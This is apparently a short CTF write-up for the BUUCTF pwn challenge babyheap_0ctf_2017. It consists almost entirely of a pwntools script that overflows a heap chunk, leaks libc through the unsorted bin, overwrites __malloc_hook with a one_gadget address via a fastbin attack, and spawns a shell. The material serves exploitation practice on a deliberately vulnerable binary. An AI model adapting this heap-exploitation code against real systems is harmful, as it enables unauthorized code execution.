BUUCTF-PWN3

babyheap_0ctf_2017


After alloc(0x80)

from pwn import *

context(arch='amd64',os='linux',log_level='debug')

DEBUG = 1

if DEBUG:
    io = process(['/home/kelpie/Desktop/CTF/buuctf/pwn28/ld-2.23.so','./pwn28'],
    env={"LD_PRELOAD":'/home/kelpie/Desktop/CTF/buuctf/pwn28/libc-2.23-64.so'})
else:
    io = remote('node4.buuoj.cn',26119)

libc = ELF('./libc-2.23-64.so')

padding = b'A'

def alloc(size):
    io.sendlineafter("Command: ",b'1')
    io.sendlineafter("Size: ",str(size))

def fill(index, content):
    io.sendlineafter("Command: ",b'2')
    io.sendlineafter("Index: ",str(index))
    io.sendlineafter("Size: ",str(len(content)))
    io.sendafter("Content: ",content)

def free(index):
    io.sendlineafter("Command: ",b'3')
    io.sendlineafter("Index: ",str(index))

def dump(index):
    io.sendlineafter("Command: ",b'4')
    io.sendlineafter("Index: ",str(index))

def debug():
    gdb.attach(io)
    pause()


alloc(0x80) # 0
alloc(0x80) # 1
alloc(0x80) # 2
alloc(0x80) # 3


free(1)
fill(0,padding*0x88 + p64(0x120+1))
'''
    overflow the chunk 0
    fill with data by padding * 0x80
    fill with chunk 1 pre_size by padding * 0x8
    fill with chunk 1 size by p64(0x120+1)
    1 is in_use bit
'''


alloc(0x110)
fill(1,padding*(0x88)+p64(0x90+1))
free(2)
dump(1)

malloc_hook_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\x00'))-0x58-0x10



libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
execve_addr = libc_base + 0x4526a
info("malloc_hook_addr: %s" %hex(malloc_hook_addr))
info("libc_base: %s" %hex(libc_base))
info("execve: %s" %hex(execve_addr))

alloc(0x80) #2
alloc(0x60) #4
alloc(0x60) #5
free(5)

fill(4,padding*(0x60+8)+p64(0x70+1)+p64(malloc_hook_addr - 0x23)+p64(0))

alloc(0x60) #5
alloc(0x60) #6

fill(6, padding*0x13+p64(execve_addr))
alloc(0x10)

io.interactive()